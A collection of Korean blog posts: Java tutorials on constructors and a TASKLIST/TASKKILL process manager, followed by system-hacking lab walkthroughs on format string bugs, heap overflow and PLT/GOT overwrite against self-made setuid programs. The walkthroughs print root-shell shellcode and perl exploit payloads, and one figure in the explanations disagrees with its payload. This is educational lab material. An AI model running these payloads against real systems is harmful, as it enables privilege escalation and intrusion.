생성자란

: 생성자는 new 연산자를 통해서 인스턴스를 생서할 때 반드시 호출이 되고 제일 먼저 실행되는 일종의 메소드이다

문법

public 클래스명 ([매개변수] ){
	[실행할 코드]
}

 

예시 Main 코드

public class main {
	public static void main(String[] args) {
		
		Constructor con1 = new Constructor();
		Constructor con2 = new Constructor("매개변수");	
	}
}

 

예시 클래스 코드

public class Constructor {
		
	public Constructor() {
	
		System.out.println("기본 생성자 호출");
	}
		
	public Constructor(String msg) {
		
		System.out.println(msg + "생성자 호출");
	}
	
}

 

- 예제 코드 결과

'JAVA' 카테고리의 다른 글

Port 스캐너 (JAVA)  (0) 2020.11.13
IP 스캐너 코딩 (JAVA)  (0) 2020.11.13
프로세스 관리 코딩 ( JAVA )  (1) 2020.11.12
간단한 구구단 코딩 (JAVA)  (0) 2020.11.05

프로세스를 관리하기 위한 코딩을 JAVA로 제작해 보았다

( 코드가 이상하게 tab이 맞지 않네요.. )

 

기능별로 함수로 구현

1. 프로세스 목록 보기

2. 프로세스 이름 조회

3. 프로세스 ID 조회

4. 프로세스 이름으로 종료

5. 프로세스 ID로 종료

 

동작

 

- 원하는 기능을 선택 받고 있다

 

- 1번을 입력해 조회를 했을 때 출력되는 모습이다

 

- 2번을 입력하고 프로세스 이름을 입력하면 프로세스명과 프로세스 ID를 출력해준다

 

- 3번을 입력하고 프로세스 ID를 입력해주면 프로세스 이름과 프로세스 ID를 출력해준다

 

- 4번을 입력하고 종료할 프로세스 이름을 입력해주면 성공적으로 종료된걸 확인할 수 있다

 

- 5번을 입력하고 종료할 프로세스 ID를 입력하면 성공적으로 종료된걸 확인할 수 있다

 

Main 페이지 코드

public static void main(String[] args) {
	
	Scanner input = new Scanner(System.in);
	
    int menu = 0;
	String find = null;					// switch문 내에서 문자열을 받을때 사용하는 변수
	
	Proc p = new Proc();				// 함수 호출 용도로 생성

	while(true)
	{
		System.out.println("=====프로세스 관리=====");
		System.out.println("1. 프로세스 목록");
		System.out.println("2. 프로세스 이름 검색");
		System.out.println("3. 프로세스 ID 검색");
		System.out.println("4. 프로세스 이름으로 종료");
		System.out.println("5. 프로세스 ID로 종료");
		
		System.out.print("번호 입력: ");
		menu = input.nextInt();			// menu변수에 숫자를 입력
		input.nextLine();				// 개행이 남아있기 때문에 비워주기 위한 용도
										
		switch (menu) {					// menu변수를 통해 해당하는 맞는 함수를 호출
		case 1:
			System.out.println("프로세스 목록");
			p.list_all();				// 프로세스 리스트 조회용 함수
			break;
			
		case 2:
			System.out.print("프로세스 이름 입력 : ");
			find = input.nextLine();
			p.img_find(find);			// 프로세스 이름으로 조회하는 함수
			break;
			
		case 3:
			System.out.print("프로세스 ID 입력 : ");
			find = input.nextLine();
			p.pid_find(find);			// 프로세스 ID로 조회하는 함수
			break;
			
		case 4:
			System.out.print("프로세스 이름 입력 : ");
			find = input.nextLine();
			p.img_kill(find);			// 프로세스 이름을 통해 종료하는 함수
			break;
			
		case 5:
			System.out.print("프로세스 ID 입력 : ");
			find = input.nextLine();
			p.pid_kill(find);			// 프로세스 ID를 통해 종료하는 함수
			break;
		default:
			break;
		}
	}
}

 

Proc 함수 코드

public class Proc {

	// 프로세스 리스트 조회 함수
	public void list_all() {

		ArrayList<String> list = new ArrayList<String>();
		
        // Arraylist에 조회하는 명령어를 옵션별로 잘라서 넣어준다
		list.add("TASKLIST");
		list.add("/SVC");
		list.add("/FO");
		list.add("CSV");

		String data = null;		// 명령어를 통해 나온 내용을 저장하는 변수
		
        // 예외처리
		try {
			// Process객체를 생성
            // 외부 프로그램을 실행시키는 ProcessBuilder에 list를 넣고 실행
			Process ps = new ProcessBuilder(list).start();
			
            // ps의 결과 값을 byte로 받아서 문자로 처리하게 해준다 
			InputStreamReader in = new InputStreamReader(ps.getInputStream());
			BufferedReader br = new BufferedReader(in);
			
            // cmd 창에서 조회를 했을 때 나오는 첫 번째 쓸모 없는 라인을 가져온다
			data = br.readLine();
			
            // 반복문을 통해 프로세스 리스트를 다 가져온다
			while (true) {
            
            	// 한번 더 읽어들여 처음 읽은걸 버린다
				data = br.readLine();
				
                // data에 내용이 없을 경우 반복문을 빠져나간다
				if (data == null) {
					break;
				}
                // \로 작성된 것을 공백으로 변환한다
				data = data.replaceAll("\"", "");
                // data 변수에 담긴 값에서 ','을 기준으로 잘라 0번지와 1번지를 가져오고 출력
				System.out.printf("%s\t%s\n", data.split(",")[0], data.split(",")[1]);
			}

		} catch (Exception e) {

			e.printStackTrace();

		}

	}
	
    // 프로세스 이름으로 조회하는 함수
	public void img_find(String dst) {

		ArrayList<String> list = new ArrayList<String>();
		
        // Arraylist에 조회하는 명령어를 옵션별로 잘라서 넣어준다
		list.add("TASKLIST");
		list.add("/SVC");
		list.add("/FO");
		list.add("CSV");

		String data = null;		// 명령어를 통해 나온 내용을 저장하는 변수
		String src = null;		// 프로세스 이름을 담을 변수
		
        // 예외처리
		try {
			// Process객체를 생성
            // 외부 프로그램을 실행시키는 ProcessBuilder에 list를 넣고 실행
			Process ps = new ProcessBuilder(list).start();

			 // ps의 결과 값을 byte로 받아서 문자로 처리하게 해준다 
			InputStreamReader in = new InputStreamReader(ps.getInputStream());
			BufferedReader br = new BufferedReader(in);

			 // cmd 창에서 조회를 했을 때 나오는 첫 번째 쓸모 없는 라인을 가져온다
			data = br.readLine();

			// 반복문을 통해 프로세스 리스트를 다 가져온다
			while (true) {
            	
                // 한번 더 읽어들여 처음 읽은걸 버린다
				data = br.readLine();
				
                // data에 내용이 없을 경우 반복문을 빠져나간다
				if (data == null) {
					break;
				}
                // \로 작성된 것을 공백으로 변환한다
				data = data.replaceAll("\"", "");
                
                // data 변수에 담긴 값에서 ','을 기준으로 잘라 0번지를 가져옴
				src = data.split(",")[0];
				
                // src값과 dst값이 같은지 비교한다
				if(src.equals(dst))
				{
                	// data 변수에 담긴 값에서 ','을 기준으로 잘라 0번지와 1번지를 가져오고 출력
					System.out.printf("%s\t%s\n", data.split(",")[0], data.split(",")[1]);	
				}
			}

		} catch (Exception e) {

			e.printStackTrace();

		}

	}

	// 프로세스 ID로 조회하는 함수
	public void pid_find(String dst) {
		
		ArrayList<String> list = new ArrayList<String>();
        
		// Arraylist에 조회하는 명령어를 옵션별로 잘라서 넣어준다
		list.add("TASKLIST");
		list.add("/SVC");
		list.add("/FO");
		list.add("CSV");

		String data = null;		// 명령어를 통해 나온 내용을 저장하는 변수
		String src = null;		// 프로세스 이름을 담을 변수
		
        // 예외처리
		try {
			
            // Process객체를 생성
            // 외부 프로그램을 실행시키는 ProcessBuilder에 list를 넣고 실행
			Process ps = new ProcessBuilder(list).start();

			// ps의 결과 값을 byte로 받아서 문자로 처리하게 해준다 
			InputStreamReader in = new InputStreamReader(ps.getInputStream());
			BufferedReader br = new BufferedReader(in);

			 // cmd 창에서 조회를 했을 때 나오는 첫 번째 쓸모 없는 라인을 가져온다
			data = br.readLine();

			// 반복문을 통해 프로세스 리스트를 다 가져온다
			while (true) {
            
            	// 한번 더 읽어들여 처음 읽은걸 버린다
				data = br.readLine();
				
                // data에 내용이 없을 경우 반복문을 빠져나간다
				if (data == null) {
					break;
				}
                
                // \로 작성된 것을 공백으로 변환한다
				data = data.replaceAll("\"", "");
				
                // data 변수에 담긴 값에서 ','을 기준으로 잘라 1번지를 가져옴
                src = data.split(",")[1];
				
                // src값과 dst값이 같은지 비교한다
				if(src.equals(dst))
				{
                	// data 변수에 담긴 값에서 ','을 기준으로 잘라 0번지와 1번지를 가져오고 출력
					System.out.printf("%s\t%s\n", data.split(",")[0], data.split(",")[1]);	
				}
			}

		} catch (Exception e) {

			e.printStackTrace();

		}


	}
	
    // 프로세스 이름을 통해 종료하는 함수
	public void img_kill(String find) {
		
		ArrayList<String> list = new ArrayList<String>();
		
        // Arraylist에 프로세스 종료 명령어를 옵션별로 잘라서 넣어준다
		list.add("TASKKILL");
		list.add("/F");
		list.add("/IM");
		list.add(find);
		
        // 명령어를 통해 나온 내용을 저장하는 변수
		String data = null;
		
        //예외처리
		try {
        
			// Process객체를 생성
            // 외부 프로그램을 실행시키는 ProcessBuilder에 list를 넣고 실행
			Process ps = new ProcessBuilder(list).start();
			
            // ps의 결과 값을 byte로 받아서 문자로 처리하게 해준다 
			InputStreamReader in = new InputStreamReader(ps.getInputStream());
			BufferedReader br = new BufferedReader(in);

			// cmd 창에서 프로세스를 종료 했을 때 나오는 첫 번째 쓸모 없는 라인을 가져온다
			data = br.readLine();

			// data에 내용이 없으면 반복문에 들어가지 않는다
            // 프로세스 종료가 성공적으로 되었으면 종료시 나오는 메시지를
            // 반복문을 통해 전부 출력한다
			while (data != null) {
				System.out.println(data);
				data = br.readLine();
			}

		} catch (Exception e) {

			e.printStackTrace();

		}

	}
	
    // 프로세스 ID를 통해 종료하는 함수
	public void pid_kill(String find) {
		
		ArrayList<String> list = new ArrayList<String>();
        
		// Arraylist에 프로세스 종료 명령어를 옵션별로 잘라서 넣어준다
		list.add("TASKKILL");
		list.add("/F");
		list.add("/PID");
		list.add(find);

		// 명령어를 통해 나온 내용을 저장하는 변수
		String data = null;
		
        // 예외처리
		try {
			
            // Process객체를 생성
            // 외부 프로그램을 실행시키는 ProcessBuilder에 list를 넣고 실행
			Process ps = new ProcessBuilder(list).start();
			
            // ps의 결과 값을 byte로 받아서 문자로 처리하게 해준다
			InputStreamReader in = new InputStreamReader(ps.getInputStream());
			BufferedReader br = new BufferedReader(in);
			
            // cmd 창에서 프로세스를 종료 했을 때 나오는 첫 번째 쓸모 없는 라인을 가져온다
			data = br.readLine();
			
            // data에 내용이 없으면 반복문에 들어가지 않는다
            // 프로세스 종료가 성공적으로 되었으면 종료시 나오는 메시지를
            // 반복문을 통해 전부 출력한다
			while (data != null) {
				
				System.out.println(data);
				data = br.readLine();
			}

		} catch (Exception e) {

			e.printStackTrace();

		}

	}

}

'JAVA' 카테고리의 다른 글

Port 스캐너 (JAVA)  (0) 2020.11.13
IP 스캐너 코딩 (JAVA)  (0) 2020.11.13
생성자 (JAVA)  (0) 2020.11.13
간단한 구구단 코딩 (JAVA)  (0) 2020.11.05

Format String Bug란

: buffer overflow 해킹 기법의 한 종류로써 사용자의 입력에 의해서 프로그램의 흐름을 변경 시킬 수 있는 취약점이다

 

Format String Bug 순서

1. Format String Bug 원리 알기

2. root 계정으로 취약한 파일 만들기

3. 일반 계정으로 환경 변수 구해주는 프로그램 만들기

4. 일반 계정으로 환경 변수에 쉘코드 넣기

5. 덮어쓸 .dtors 주소 구하기

6. 필요 요소 확인

7. 공격 코드 작성

 

1. Format String Bug 원리 알기

 

Format Parameter

 

정상적인 format string 사용시 stack

- format string을 정상적으로 사용하게되면 먼저 format string문자를 하나씩 읽는다

- format string인자가 아니라면 바로 출력한다

- format string인자 발견시 esp+4 값의 포인터로 부터 null 값을 만날 때까지 출력한다

 

정상적이지 못한 사용

- 정상적으로 format string을 사용하지 않았지만 동작에는 문제가 없다

 

- 위 코드로 작성한 코드를 컴파일하고 동작을 시키면 aaaa를 넣어줬으때 aaaa 가 잘 출력이된다

- 그러나 aaaa뒤에 format string을 붙였을 때 무언가 다른게 출력되는걸 확인할 수 있다

- 이 값은 정상적인 format string 문자를 만났을 때 출력하는 esp+4의 값이다

 

- 위 원리를 이용하여 format string을 여러 개 사용

- format string 갯수에 따라 계속 esp에서 4byte 씩 올라가 출력할 수 있다 

 

2. root 계정으로 취약한 파일 만들기

 

- root 계정으로 setuid 비트를 걸어 놓은 취약한 파일을 작성한다 /tmp/fsb.c

 

- 파일을 컴파일하고 setuid 비트를 걸어준다

 

3. 일반 계정으로 환경 변수 구해주는 프로그램 만들기

 

- 일반 계정으로 환경변수를 입력하면 주소값을 돌려주는 코드를 작성한다 /tmp/env.c

 

- 컴파일을 해주는데 경고표시가 뜨지만 실행을하면 잘 작동되는걸 볼수있다 

 

4. 일반 계정으로 환경 변수에 쉘코드 넣기

 

root권한 획득하고 쉘 실행 시키는 쉘코드

\x31\xc0\x89\xc3\xb0\x17\xcd\x80\xeb\x0f\x5e\x31\xc0\x50\x89\xe2\x56\x89\xe1\x89\xf3\xb0\x0b\xcd\x80\xe8\xec\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

 

- 환경 변수에 쉘코드를 넣기전에 언어팩 부터 2byte로 동작하는 한글로 바꿔준다

 

- 쉘 코드를 perl 스크립트를 이용하여 환경 변수에 넣어주고 주소를 구해준다

 

5. 덮어쓸 .dtors 주소 구하기

 

- .dtors를 사용하는 이유는 .dtors가 소멸자이기 때문에 종료되면서 실행 시킬 수 있기 때문이다

- 위 .dtors의 주소가 0x804952c 이고 ffffffff [ 4byte공간 ] 00000000 에 적어줘야 실행한다

- 그러므로 0x804952c 주소에 4bytes를 더해준 0x8049530의 주소를 쓴다

 

6. 필요 요소 확인

 

필요 요소의 주소 적어두기

7. 공격 코드 작성

 

- 쉘 코드 주소를 10진수로 바꾼다

- 쉘 코드 주소를 little endian 방식으로 .dtors 주소에 매핑한다

 

- buf에 AAAA를 적은 뒤 format string을 사용하여 위치를 찾는다

- format string을 4개 사용하면 buf의 시작 위치에 온다는걸 확인할 수 있다 

 

공격코드

./fsb "`perl -e 'print "\x30\x95\x04\x08","AAAA","\x32\x95\x04\x08","%8x%8x%65197c","%hn","%49462c","%hn"'`"

 

 

설명

 

- 쉘 코드를 저장할 .dtros의 시작 주소를 적어준다 ( 2byte )

 

- AAAA를 적어 주는데 이유는 뒤에 나온다

 

- .dtors의 시작 주소에서 2byte뒤 주소를 적어준다 ( 2byte )

 

- 첫 번째 format string "%8x"에 사용으로 esp+4의 값을 보고있다

- 두 번째 format string "%8x"에 사용으로 esp+8의 값을 보고있다

- 세 번째 format string "%65137c"에 사용으로 esp+12의 값을 보고있다

 

%65197c 사용이유

: 앞에 작성된 코드들의 byte수의 합계는 28byte이기 때문에 작성해줘야 할 총 byte수인 65225byte에서 28byte를 뺀 나머지인 65197byte가 사용되어야 한다

( %8x - 8byte, .dotrs 주소 - 4byte, AAAA - 4byte )

 

 

- format string %n은 참조 형태가 포인터이고 사용으로 인해 esp+16에 값을 본다

- esp+16의 값이 주소면 지금까지 사용한 byte의 수 만큼의 값을 그 주소 공간에 적어준다 

- %n은 4byte형이기 때문에 절반인 %hn을 사용하여 2byte씩 값을 적게 만들어준다

 

- format string %49462c의 사용으로 esp+20의 위치를 보는데 이 위치에는 AAAA가 작성되어있다

 

%49462c 사용 이유

: 앞에 적은 byte가 이미 65225byte이기 때문에 적어야할 49151byte를 이미 초과했다

 format string %hn 사용하면 2byte만 적어주고 나머지는 적지 못하고 버린다는 특징을 이용해 쉘 코드의 뒷 부분인 BFFF에 1을 붙여 1BFFF를 만들어 2byte를 초과 시키고 10진수로 변환해준다

 10진수로 변환하면 114687 나오는데 여기서 앞에 먼저 적어준 65225byte만큼을 빼준 결과인 49462가 사용되는 것이다 ( 빼는 이유는 앞부분에 쓰인 byte까지 포함하기 때문이다 )

 

- format string %hn을 사용하여 esp+24의 위치를 보게되고 이 곳에는 .dtors의 시작 주소 2byte 뒤 주소가 적혀있다

- esp+24의 값이 주소이기 때문에 그 곳에 지금까지 쓰인 byte의 2byte만큼을 적어준다

 

- 위 코드를 취약한 함수의 인자로 적어준다

 

- 코드를 적어주면 위와 같이 쉘이 실행되고 id 명령어를 적으면 root 권한인걸 확인할 수 있다

'시스템 해킹' 카테고리의 다른 글

Heap Buffer Overflow  (0) 2020.11.11
PLT & GOT Overwrite  (0) 2020.11.10
CANARY  (0) 2020.11.10
ASCII Armor  (0) 2020.11.10
ASLR ( Address Space Layout Randomization )  (0) 2020.11.10

heap ( 힙 )

- 컴퓨터의 기억 장소에서 그 일부분이 프로그램들에 할당되었다가 회수되는 작용이 되풀이 되는 영역이다 
- 보통 포인터를 통해 동적으로 할당 받고 돌려준다 
- 프로그램 실행시 크기가 결정된다 
- 낮은 주소에서 높은 주소로 할당된다 
- 리스트, 트리, 그래프 등의 동적인 자료구조에 꼭 필요하다 

Heap Buffer Overflow란
: heap 데이터 영역에서 일어나는 buffer overflow를 heap overflow라 부르며 stack에서와 같이 RET 변조는 불가하고 동적 메모리 할당 연결을 덮어씀으로써 프로그램 함수 포인터를 조작한다

Heap Buffer Overflow 순서

1. root 계정에서 취약한 함수를 사용한 파일 작성

2. 일반 계정에서 변수 사이의 거리를 확인

3. 공격 코드 작성

 

1. root 계정에서 취약한 함수를 사용한 파일 작성

 

- root 계정에서 취약한 함수가 사용되어진 파일을 작성해준다 /tmp/heap.c

 

- 컴파일을 해준 후 setuid 비트를 걸어준다

 

2. 일반 계정에서 변수 사이의 거리를 확인

 

- root가 만들어 놓은 취약한 프로그램을 같은 글자수로 복사

- gdb를 통해 복사한 파일을 열어주고 intel문법으로 변환 시켜준다

 

- 첫 번째 변수의 주소는 ebp-4에 닮기고 두 번째 변수의 주소는 ebp-8에 닮기는걸 확인할  수 있다

 

- ebp-4와 ebp-8의 주소 값을 구하고 큰 수에서 작은 수를 빼면 변수 사이의 거리가 나온다

- 뺏을때 68이란 숫자가 나오는데 이것은 16진수이기 때문에 10진수로 변환하면 104이다

 

3. 공격 코드 작성

 

- 공격코드: . /heap `perl -e 'print "A"x104, "/bin/sh"'`

 

- 공격 코드를 넣으면 변수 사이의 거리만큼 A로 채워진다

- 그 후 두 번째 변수의 시작 부분에 /bin/sh 문자열이 채워져 비교문에 통과하게된다

- system 함수의 의해 쉘이 실행되고 root의 권한인걸 확인할 수 있다

'시스템 해킹' 카테고리의 다른 글

Format String Bug  (1) 2020.11.11
PLT & GOT Overwrite  (0) 2020.11.10
CANARY  (0) 2020.11.10
ASCII Armor  (0) 2020.11.10
ASLR ( Address Space Layout Randomization )  (0) 2020.11.10

PLT & GOT Overwrite란

: PLT & GOT Overwrite는 Dynamic Link 방식으로 컴파일된 바이너리가 공유 라이브러리를 호출할 때 사용되는 PLT & GOT를 이용하는 공격 기법으로 DEP, ASCII Armor, ASLR의 메모리 보호 기법을 우회하기 위해 사용한다

 

PLT & GOT Overwrite 원리

: PLT는 GOT를 가리키고 GOT에는 함수의 실제 주소가 들어있는데 이 GOT의 값을 원하는 함수의 실제 주소로 변조시킨다면 원래의 함수가 아닌 변조한 함수를 PLT가 호출할 것이다

 

PLT & GOT Overwrite 순서

1. Chaining RTL Calls 알기

2. root권한의 취약한 코드 작성

3. 일반 계정에서 root권한 획득하는 공격 코드 작성

4. EBP까지의 거리확인

5. strcpy의 PLT와 puts의 PLT & GOT 확인

6. 공격용 호출 함수 execve 함수의 주소 확인

7. Chaining RTL Calls 확인

8. BSS의 주소 공간 확인 

9. 필요한 주소들 정리

10. 필요한 값이 저장된 주소 공간 찾기

11. 공격 코드 작성

 

1. Chaining RTL Calls 알기

 

연속적으로 RTL을 실행하는 기법으로 인자 갯수에 따라 pop과 ret 명령어를 이용하여 사용하는 것으로  strcpy 함수와 같이 인자를 2개 사용하는 경우에는 pop-pop-ret을 사용하여 연속적으로 함수를 호출하여 메모리 위에 덮어 씌우는 기법이다

 

사용하는 인자의 갯수에 따라 pop의 갯수가 달라진다 ex) pr, ppr, pppr

 

2. root권한의 취약한 코드 작성

 

root의 계정으로 setuid 비트가 걸린 취약한 함수를 사용한 파일을 만들어 준다 /tmp/bof.c

 

컴파일시 경고가 나왔지만 잘 컴파일된걸 확인할 수 있다

 

파일에 setuid 비트를 걸어준다

 

3. 일반 계정에서 root권한 획득하는 공격 코드 작성

 

root권한으로 쉘을 실행시키는 코드를 작성해줍니다 /tmp/sh.c

 

컴파일을 해준 뒤 파일을 확인해봅니다

 

4. EBP까지의 거리확인

 

root권한의 파일을 같은 글자수로 복사해 오고 gdb를 사용해 열어준 뒤 intel 문법을 설정하여 보기 편하게 만들어줍니다

 

코드 내용을 살펴보면 첫번 째 인자인 argv[1]이 [esp+4] 의 주소공간에 들어 가는걸 확인할 수 있고 두 번째 인자인 buf 배열의 시작 주소는 [esp+1c]의 주소 공간을 할당 받고 eax의 주소 값이 복사되는걸 확인할 수 있다 

 

strcpy의 함수가 call되기 전인 +28에 break를 걸어주고 run한 뒤 ebp와 buf배열의 시작 주소가 들어가 있는 eax를 빼면 ebp전까지의 거리가 108이라는 것을 알 수 있다 ( ebp까지 덮으려면 112byte가 필요하다 )

 

5. strcpy의 PLT와 puts의 PLT & GOT 확인

 

strcpy의 plt와 puts의 plt와 got를 구한다

 

6. 공격용 호출 함수 execve 함수의 주소 확인

 

gdb로 실행해서 브레이크 포인트를 걸어주고 실행한뒤 execve의 주소를 구해준다

 

7. Chaining RTL Calls 확인

 

위 명령어를 사용하여 ret위로 3개의 명령문을 가져온다

 

strcpy의 인자는 2개이기 때문에 ppr찾아서 시작 주소를 구한다 0x8048ee

 

8. BSS의 주소 공간 확인 

 

gdb 프로그램 안에서 info files 명령어를 통해 쓰기 권한이 있는 bss의 주소를 확인한다

 

9. 필요한 주소들 정리

 

공격에 필요한 주소들을 보기 쉽게 정리한다

 

10. 필요한 값이 저장된 주소 공간 찾기

 

execve - 0x43814550

 

gdb로 프로그램 실행후 break를 걸고 run한 뒤 execve 주소에 필요한 값들은 위와 같은 방법으로 다 찾아준다 ( 43, 81, 45, 50 ) 

 

모든 값을 찾아 정리해주면 편하다

 

이번엔 /tmp/sh0 을 가지고 있는 주소 값을 모두 찾는다 2f 는 아스키 코드표에 '/' 이다

 

/tmp/sh0 에 대한 주소 값 들을 정리하였다

 

11. 공격 코드 작성

 

순서

1) execve를 puts@got자리에 복사

2) /tmp/sh0을 BSS에 복사

3) puts@plt를 통해 execve 호출 및 BSS에 저장된 인자 전달

4) 공격 코드를 개행 없이 붙여서 취약한 함수가 들어있는 파일에 인자로 전달

 

execve 함수 puts@got 자리에 복사

 

/tmp/sh0 문자 BSS에 복사

 

puts@plt를 호출함으로 puts@got에 복사된 execve함수가 호출되고 뒤에는 함수의 RET부분에 아무 문자로 채우고 BSS에 복사해둔 /tmp/sh를 인자로 넣어준다

 

취약한 파일에 공격 코드를 인자로 넣은 뒤에 실행을하니 쉘이 실행이되고 id를 확인해보니 root의 id인걸 확인할 수 있다

 

아래 코드를 개행 없이 이어 붙여서 인자로 넣어주면 잘 동작하는걸 확인할 수 있다

./bof "`perl -e 'print "A"x112,

"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x10\xa0\x04\x08", "\x18\x80\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x11\xa0\x04\x08", "\x01\x80\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x12\xa0\x04\x08", "\x5d\x80\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x13\xa0\x04\x08", "\x77\x82\x04\x08",

"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x30\xa0\x04\x08", "\x54\x81\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x31\xa0\x04\x08", "\xf6\x80\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x32\xa0\x04\x08", "\x5f\x82\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x33\xa0\x04\x08", "\x4a\x82\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x34\xa0\x04\x08", "\x54\x81\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x35\xa0\x04\x08", "\x62\x81\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x36\xa0\x04\x08", "\xd8\x80\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x37\xa0\x04\x08", "\x07\x80\x04\x08",

"\x20\x83\x04\x08", "AAAA", "\x30\xa0\x04\x08", "\x07\x80\x04\x08"x2'`"

'시스템 해킹' 카테고리의 다른 글

Format String Bug  (1) 2020.11.11
Heap Buffer Overflow  (0) 2020.11.11
CANARY  (0) 2020.11.10
ASCII Armor  (0) 2020.11.10
ASLR ( Address Space Layout Randomization )  (0) 2020.11.10

+ Recent posts